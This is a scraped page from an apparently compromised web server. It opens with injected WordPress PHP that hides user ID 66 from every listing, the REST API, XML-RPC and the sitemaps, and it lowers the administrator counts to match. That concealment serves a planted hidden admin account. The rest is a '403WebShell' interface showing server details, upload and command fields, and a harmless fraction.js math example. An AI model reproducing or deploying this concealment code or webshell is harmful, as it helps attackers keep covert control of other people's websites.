add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/flnavigator/node_modules/fraction.js/examples/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /var/www/html/flnavigator/node_modules/fraction.js/examples/hesse-convergence.js
/*
Fraction.js v5.0.0 10/1/2024
https://raw.org/article/rational-numbers-in-javascript/

Copyright (c) 2024, Robert Eisele (https://raw.org/)
Licensed under the MIT license.
*/
const Fraction = require('fraction.js');

/*
We have the polynom f(x) = 1/3x_1^2 + x_2^2 + x_1 * x_2 + 3

The gradient of f(x):

grad(x) = | x_1^2+x_2 |
          | 2x_2+x_1  |

And thus the Hesse-Matrix H:
| 2x_1  1 |
|  1    2 |

The inverse Hesse-Matrix H^-1 is
| -2 / (1-4x_1)    1 / (1 - 4x_1)     |
| 1 / (1 - 4x_1)   -2x_1 / (1 - 4x_1) |

We now want to find lim ->oo x[n], with the starting element of (3 2)^T

*/

// Get the Hesse Matrix
function H(x) {

  var z = Fraction(1).sub(Fraction(4).mul(x[0]));

  return [
    Fraction(-2).div(z),
    Fraction(1).div(z),
    Fraction(1).div(z),
    Fraction(-2).mul(x[0]).div(z),
  ];
}

// Get the gradient of f(x)
function grad(x) {

  return [
    Fraction(x[0]).mul(x[0]).add(x[1]),
    Fraction(2).mul(x[1]).add(x[0])
  ];
}

// A simple matrix multiplication helper
function matrMult(m, v) {

  return [
    Fraction(m[0]).mul(v[0]).add(Fraction(m[1]).mul(v[1])),
    Fraction(m[2]).mul(v[0]).add(Fraction(m[3]).mul(v[1]))
  ];
}

// A simple vector subtraction helper
function vecSub(a, b) {

  return [
    Fraction(a[0]).sub(b[0]),
    Fraction(a[1]).sub(b[1])
  ];
}

// Main function, gets a vector and the actual index
function run(V, j) {

  var t = H(V);
  //console.log("H(X)");
  for (var i in t) {

    //	console.log(t[i].toFraction());
  }

  var s = grad(V);
  //console.log("vf(X)");
  for (var i in s) {

    //	console.log(s[i].toFraction());
  }

  //console.log("multiplication");
  var r = matrMult(t, s);
  for (var i in r) {

    //	console.log(r[i].toFraction());
  }

  var R = (vecSub(V, r));

  console.log("X" + j);
  console.log(R[0].toFraction(), "= " + R[0].valueOf());
  console.log(R[1].toFraction(), "= " + R[1].valueOf());
  console.log("\n");

  return R;
}


// Set the starting vector
var v = [3, 2];

for (var i = 0; i < 15; i++) {

  v = run(v, i);
}

Youez - 2016 - github.com/yon3zu
LinuXploit